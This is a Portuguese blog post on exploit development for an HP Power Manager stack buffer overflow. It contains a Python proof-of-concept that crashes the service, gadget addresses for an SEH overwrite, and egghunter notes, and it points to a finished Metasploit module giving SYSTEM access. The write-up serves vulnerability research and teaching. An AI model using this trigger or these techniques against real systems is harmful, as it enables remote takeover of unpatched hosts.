sexta-feira, 4 de novembro de 2011

HP Power Manager 'formExportDataLogs' Buffer Overflow analysis

Olá a todos!

Irei descrever neste artigo como foi minha experiência com a análise de um advisory, a identificação e criação do trigger(poc) e consequentemente a escrita de um exploit para a falha.

Gostaria de ressaltar que este artigo não terá explicações conceituais sobre as técnicas de exploração e quaisquer outros detalhes teóricos. Vou focar totalmente na prática, desde a análise até a criação e execução do exploit.
Para conceitos/teorias e informações adicionais, irei dedicar uma área para referências no final do artigo.

O SOFTWARE (HP Power Manager)

Vamos ao que interessa!
No início de 2010, o pesquisador integrante do grupo Secunia, Alin Rad Pop, descobriu a falha no software HP Power Manager descrita abaixo:

"Secunia Research has discovered a vulnerability in HP Power Manager,
which can be exploited by malicious people to compromise a vulnerable
system.
The vulnerability is caused due to a boundary error when processing
parameters sent to the /goform/formExportDataLogs URL. This can be
exploited to cause a stack-based buffer overflow via an overly long
"fileName" parameter."

Como descrito acima e em mais detalhes aqui e aqui, a vulnerabilidade é causada devido a uma falta de controle no tamanho de uma variável quando parâmetros específicos são enviados para a URL /goform/formExportDataLogs. A exploração desta falha pode causar um stack-based buffer overflow através do envio de uma longa string na variável "fileName", que permite a atacantes executar comandos remotos com os privilégios de 'SYSTEM'.

Muitos advisories nos dias atuais são vagos e realmente não ajudam o pesquisador ou desenvolvedor de exploits a localizar onde a falha se encontra e como criar o trigger. Eu costumo chamar esses tipos de advisories de "Advisories comerciais", onde os mesmos, tem apenas o intuito de informar publicamente que a falha foi descoberta em um determinado produto sem nenhum (ou quase nenhum) detalhe adicional (exemplo1, exemplo2).

No caso da vulnerabilidade analisada, o advisory foi bem claro em sua descrição, portanto, localizar o trigger e reproduzir o ambiente não foi uma tarefa tão complicada.

Depois de alguns momentos analisando os requests feitos através da interface de gerenciamento web do programa consegui localizar o parâmetro e URL descritos no advisory, como mostra a figura abaixo:



POC (Proof Of Concept)

Após ter encontrado a URL que processa o request tudo se torna mais fácil e assim podemos partir para o próximo passo que será criar o poc baseado nas informações obtidas:

#!/usr/bin/python
# Rodrigo Escobar (ipax)
# DcLabs Security Research Group
#
# HP Power Manager "formExportDataLogs" Buffer Overflow

import socket
import sys
import time, struct

host = "192.168.2.1"
port = 80

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

post = "POST /goform/formExportDataLogs HTTP/1.1\r\n"
post += "Host: " + host + ":" + str(port) + "\r\n"
post += "Connection: keep-alive\r\n"
post += "Referer: http://" + host + "/Contents/exportLogs.asp?logType=Application\r\n"
post += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
post += "dataFormat=comma&exportto=file&fileName=" + buffer + "&bMonth=11&bDay=01&bYear=2011&eMonth=11&eDay=01&eYear=2011&LogType=Application&actionType=1%3B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Trying to establish connection..."

try:
s.connect((host, port))
print " [+] Sending payload..."
except:
print "[X] Couldn't connect to: " + host + ":" + str(port)
else:
time.sleep(1)

s.send(post)
print " [+] Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)"

s.close()

# END OF POC

POC também pode ser acessado aqui.

Para saber exatamente onde o software estava crashando utilizei o mona para criar uma simples pattern de 2000 bytes e coloquei como valor na variável buffer.

Após a execução do POC, podemos constatar algumas particularidades interessantes no crash ocorrido:



  1. SEH foi sobrescrito com a nossa pattern e se perceber, fomos capazes de escrever alguns bytes após sobrescrever a chain.
  2. !mona localizou a nossa pattern sobrescrevendo SEH (755 bytes).

SEH sendo sobrescrito com nossa pattern (2000 bytes) [1]

Mona localizando a pattern enviada [2]

Após uma breve análise, constatei que a melhor técnica a ser utilizada nesse caso seria um SEH overwrite, ja que conseguimos sobrescrevê-lo como mostra a figura acima.

POP # POP # RET

Em teoria para explorar uma vulnerabilidade utilizando esta técnica (SEH overwrite), você precisa de uma sequência de instruções que consigam triggar um POP / POP / RET ou qualquer outra sequência que possua a mesma funcionalidade como, por exemplo, um ADD ESP,8 / RET e outras.

Seguindo esta linha de raciocínio, o próximo passo foi localizar essa sequência de instruções na lista de executable modules dentro do software. Isto pode ser feito manualmente através do search de seu debugger, ou utilizando o mona.

Após alguns testes, foi constatado que existiam apenas 2 endereços estáveis com esta sequência de instruções pop # pop # ret que poderiam ser utilizados. (Ambos localizados com o mona)

0x004174d5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)
0x00417cb5 : pop esi # pop ebx # ret 10 | startnull {PAGE_EXECUTE_READ} [DevManBE.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\HP\Power Manager\DevManBE.exe)

Como podemos notar, os endereços possuem um null byte e isto é um grande problema (na maioria dos casos). Caso o null byte estivesse no meio do endereço teríamos que localizar outro "pop#pop#ret" pois algumas funções tais como strcpy(), consideram o null byte como o caracter terminador de uma string. Neste caso o null byte está no começo, e como os endereços são lidos em little-endian (podemos fazer uma sobrescrita parcial do SEH resultando em "\xd5\x74\x41\x00" ou "\xb5\x7c\x41\x00") .

PORTANDO EXPLOIT PARA O METASPLOIT

Tendo grande parte da lógica pronta e com a idéia de portar para o metasploit em mente (ps: devia ter começado a codar direto para o msf e não fazer em python e depois portar), existem algumas regras que temos que seguir para garantir a reliability (estabilidade) do exploit, ou seja, a equipe de desenvolvimento de exploits da metasploit, precisa fazer um quality assurance no exploit para verificar a sua reliability (estabilidade) garantindo que o exploit funcione 100%.

Uma das caracteristicas que seu exploit precisa ter para ser aceito na árvore do metasploit, é ter espaço suficiente na stack / heap, para que praticamente todos os payloads existentes no framework sejam capazes de ser executados (principalmente meterpreter e outros, tais como, reverse_tcp, bind_tcp e outros).

Existem também outras particularidades, assim como, utilização de funções próprias do MSF, verificação minuciosa de BadChars (Não descrito neste artigo, mas vou colocar como referência), quantidade de colunas por linha e etc. Um manual escrito pelos membros do metasploit sobre estas particularidades por ser encontrado aqui.

EGGHUNTER

Para tornar o exploit mais estável tive que adicionar um egghunter.
Em teoria um egghunter nada mais é do que uma sequência de instruções que procura em todos endereços da memória uma tag predefinida que contêm o seu shellcode a partir desta tag. (PS: normalmente, utilizamos um memory leak para injetar a tag+shellcode na heap, pois se é possível colocar o shellcode na stack, não há necessidade de utilizar um egghunter para o tal devido ao tempo de processamento para localizar o egg na memória)

PWNAGE TIME!

Sem mais delongas, o resultado tão esperado :)


BANG!! SYSTEM privileges! pwned! =)

Ou então, se voce sempre mantém o metasploit atualizado, poderá encontrá-lo no revision 14015 -> modules/exploits/windows/http/hp_power_manager_filename.rb

REFERÊNCIAS


AGRADECIMENTOS

Membros do DcLabs
corelanc0d3r e corelan team
sinn3r

Espero que tenham gostado do artigo. Pretendo futuramente, publicar novas pesquisas e análises feitas em diversos outros advisories resultando ou não em remote command execution.

Rodrigo Escobar (ipax) {ipax [at] dclabs.com.br}